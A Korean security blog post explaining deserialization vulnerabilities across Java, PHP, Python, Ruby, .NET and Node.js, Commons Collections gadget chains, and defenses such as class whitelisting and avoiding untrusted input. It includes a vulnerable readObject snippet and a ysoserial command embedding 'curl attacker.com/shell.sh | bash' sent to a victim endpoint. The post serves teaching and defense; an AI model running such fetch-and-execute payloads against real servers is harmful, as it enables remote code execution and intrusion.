1. 직렬화와 역직렬화
직렬화(Serialization)는 메모리상의 객체를 저장하거나 전송할 수 있는 형태, 즉 바이트 스트림으로 변환하는 과정이다.
역직렬화(Deserialization)는 그 반대로, 저장되거나 전송된 바이트 스트림을 다시 메모리상의 객체로 복원하는 과정이다.
이 메커니즘은 객체를 파일로 저장했다가 다시 불러오거나, 네트워크를 통해 객체를 그대로 주고받을 때 사용된다.
User 객체를 디스크에 저장하고 나중에 동일한 상태로 복원하는 작업이 대표적이다.
🟢 직렬화-역직렬화의 데이터 흐름
객체는 직렬화를 거쳐 바이트 스트림이 되고, 이 바이트 스트림은 파일·소켓·데이터베이스 어디로든 옮겨질 수 있다.
수신 측은 역직렬화를 통해 동일한 구조의 객체를 다시 만든다.

2. 역직렬화가 위험한 이유
JSON이나 XML 파싱은 데이터를 읽어 들이는 작업에 불과한 반면, 객체를 그대로 되살리는 네이티브 역직렬화는 데이터를 복원하는 동시에 객체 내부의 메서드를 자동으로 실행한다.
1️⃣ 객체 복원과 코드 실행이 동시에 일어난다
JSON 파싱은 바이트를 전부 받아 검증한 뒤에야 객체로 만들 수 있기 때문에 사용하기 전에 검사를 할 수 있다.
그러나 객체 복원형 역직렬화는 복원하는 순간 객체 그래프를 따라 매직 메서드를 자동으로 호출하므로, 검증 코드가 들어갈 자리가 없다.
다음 Java 코드가 전형적인 취약점이다. 들어온 바이트를 그대로 객체로 복원한다.
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
Object obj = ois.readObject(); // 이 시점에 페이로드가 실행된다
두 포맷의 처리 흐름 차이를 비교하면 다음과 같다.


3. 언어별 역직렬화 취약점
역직렬화 취약점에서 Java가 많이 거론되는 이유는 가젯 체인 연구가 가장 활발했고 ysoserial 같은 도구가 잘 정리되어 있기 때문이다.
사실 역직렬화 취약점은 객체를 살아 있는 상태로 되살리려고 복원 시점에 콜백·매직 메서드를 자동 실행하는 처리 방식 자체에서 나오기 때문에 이 방식을 지원하는 거의 모든 언어에 같은 위험이 존재한다.
1️⃣ 언어별 트리거
공통적으로 객체를 복원하기 위해 콜백을 자동 실행하는 구조를 가지고 있다.
트리거가 되는 함수와 매직 메서드만 언어마다 다를 뿐이다.
| 언어 | 위험 함수/메서드 | 트리거 |
| Java | readObject() | 매직 메서드 자동 호출 → 가젯 체인 |
| PHP | unserialize() | __wakeup() / __destruct() → POP 체인 |
| Python | pickle.loads() | __reduce__로 복원 시 실행 코드 지정 |
| Ruby | Marshal.load, YAML.load | 객체 복원 시 콜백 |
| .NET | BinaryFormatter | 타입 복원 시 가젯 체인 |
| Node.js | node-serialize | 함수 직렬화 → IIFE 실행 |
PHP는 unserialize()가 핵심이다.
복원 시 __wakeup(), __destruct() 같은 매직 메서드가 자동 호출되고, 이를 엮으면 Java의 가젯 체인과 동일한 POP 체인(Property-Oriented Programming chain)이 만들어진다.
WordPress 플러그인 취약점의 단골 패턴이다.
Python은 pickle이 대표적이다. pickle은 객체를 복원할 때 __reduce__ 메서드가 반환하는 정보를 그대로 따른다.
그런데 이 __reduce__는 복원 시 어떤 함수를 어떤 인자로 호출할지 지정하도록 설계돼 있어서, 공격자가 여기에 os.system 같은 함수를 끼워 넣으면 언피클 과정에서 그대로 호출된다.
즉 임의 코드 실행이 pickle의 버그가 아니라 설계된 동작에 가깝다.
이 때문에 Python 공식 문서의 pickle 모듈 페이지도 신뢰할 수 없거나 인증되지 않은 출처의 데이터는 언피클하지 말라고 경고한다.
같은 원리가 YAML에도 적용된다.
yaml.load()를 안전한 로더(SafeLoader) 없이 호출하면, YAML 태그를 통해 임의의 Python 객체를 생성하고 그 과정에서 함수까지 호출할 수 있다.
데이터 복원 과정에서 객체를 되살리려고 함수 호출을 허용한다는 점에서 pickle과 동일한 위험 구조다.
그래서 PyYAML은 이를 막은 yaml.safe_load()를 별도로 제공한다.
.NET은 BinaryFormatter가 악명이 높아서 Microsoft가 사용 중단을 선언하고 제거하는 방향으로 갔다.
Java의 ysoserial에 대응하는 ysoserial.net도 존재한다.
2️⃣ JSON이 상대적으로 안전한 이유와 예외
JSON, XML 같은 순수 데이터 포맷은 키-값만 파싱하고 코드를 실행하는 지점이 없어 상대적으로 안전하다.
그러나 코드 실행 경로가 없는 처리 방식이 안전한 것이지 포맷 자체가 무조건 안전하다는 것은 아니다.
JSON 파서라도 타입 정보를 보고 임의 클래스를 인스턴스화하는 기능을 켜면 역직렬화 취약점이 그대로 따라온다.
4. 가젯 체인이 RCE로 이어지는 원리
공격자가 임의의 클래스를 새로 주입하는 것은 아니다.
이미 클래스패스에 존재하는 평범한 라이브러리 클래스들을 엮어서, 역직렬화 시점의 자동 메서드 호출이 연쇄적으로 위험한 메서드까지 도달하도록 만든다.
이 연쇄를 가젯 체인(gadget chain)이라 한다.
아래는 Java/Commons Collections 사례지만, 앞서 본 PHP의 POP 체인이나 .NET의 가젯 체인도 구조는 동일하다.
1️⃣ 가젯 체인의 구성 요소
가장 널리 알려진 가젯은 Apache Commons Collections의 InvokerTransformer다.
이 클래스는 리플렉션으로 임의의 메서드를 호출할 수 있도록 설계되어 있다.
공격자는 TransformedMap, ChainedTransformer, InvokerTransformer를 조합해, 역직렬화 과정에서 Runtime.getRuntime().exec()가 호출되도록 페이로드를 구성한다.
2️⃣ 역직렬화에서 명령 실행까지의 연쇄
각 단계가 다음 단계를 자동으로 끌어내는 방식이다.
서버의 readObject() 호출 하나가 출발점이 되어 마지막에 셸 명령 실행까지 도달한다.

각 단계가 다음을 자동으로 끌어내기 때문에, 서버 입장에서는 "데이터를 받아 객체로 복원했을 뿐"인데 마지막 칸에서 셸 명령이 실행된다.
클래스패스에 오래된 Commons Collections(3.1 등)가 존재하기만 하면 이 체인이 성립한다.
3️⃣ 공격자–서버 상호작용의 시퀀스
실제 공격은 페이로드를 생성하고 취약 엔드포인트로 전송하는 단순한 형태로 이루어진다.
공격자는 보통 ysoserial로 페이로드를 자동 생성한다.

페이로드 생성과 전송 과정은 다음 명령으로 압축된다.
# ysoserial로 페이로드 생성
java -jar ysoserial.jar CommonsCollections1 'curl attacker.com/shell.sh | bash' > payload.bin
# 취약 엔드포인트로 전송
curl -X POST --data-binary @payload.bin http://victim:8080/deserialize
ATT&CK 매핑으로는 공개 앱 익스플로잇(T1190)에서 명령 실행(T1059)으로 이어지는 흐름에 자연스럽게 들어간다.
5. 방어 방법
복원과 실행이 동시에 일어나는 것이 취약 지점이므로, 방어의 핵심도 그 실행 경로를 끊거나 입력을 신뢰 가능한 것으로 제한하는 데 있다.
1️⃣ 신뢰할 수 없는 입력은 역직렬화하지 않는다
가장 확실한 방어는 외부에서 들어온 검증되지 않은 데이터를 객체 복원형 역직렬화에 넘기지 않는 것이다.
OWASP에서도 "가능한 한 역직렬화를 피하라"고 권고하고 있다.
2️⃣ 안전한 데이터 포맷을 사용한다
객체를 통째로 직렬화하는 대신 JSON, XML처럼 데이터만 담는 포맷을 사용한다.
이런 포맷은 코드를 실행하지 않고 데이터만 파싱하므로 복원과 실행이 분리되어 있고, 검증 단계를 넣을 수 있다.
단, 앞서 언급한 것처럼 파서의 다형성 역직렬화 기능을 켜지 않는다는 전제가 붙는다.
3️⃣ 허용 클래스를 화이트리스트로 제한한다
역직렬화가 불가피하다면 복원을 허용할 클래스를 명시적으로 제한한다.
Java 9 이상의 ObjectInputFilter가 이 역할을 한다.
가젯으로 쓰이는 클래스가 애초에 복원되지 않으면 체인이 성립하지 않는다.
4️⃣ 무결성을 검증하고 라이브러리를 최신으로 유지한다
역직렬화가 불가피하다면, 디지털 서명이나 MAC으로 데이터가 신뢰할 수 있는 출처에서 왔고 변조되지 않았음을 확인한 뒤에 처리한다.
동시에 역직렬화 라이브러리를 최신 버전으로 유지해 알려진 가젯 체인이 패치된 상태를 유지한다.
'Journey to Security > 취약점진단|모의해킹' 카테고리의 다른 글
| [AWS]배포된 EC2 환경 외부 진단으로 취약점 찾기 (0) | 2026.07.09 |
|---|---|
| 다형성 셸코드(Polymorphic Shellcode) - 시그니처 기반 탐지를 무력화하는 셸코드 변형 기법 (0) | 2026.07.01 |
| Spring Boot 사내 포털 모의침투 - 공격 체인을 끊는 4단계 패치 (0) | 2026.06.30 |
| Spring Boot 사내 포털 모의침투 - MITRE ATT&CK 기반 공격 시나리오 (0) | 2026.06.29 |
| 시스템 계정의 공격 표면과 차단 전략 - 대화형 로그인의 위험성 (0) | 2026.06.29 |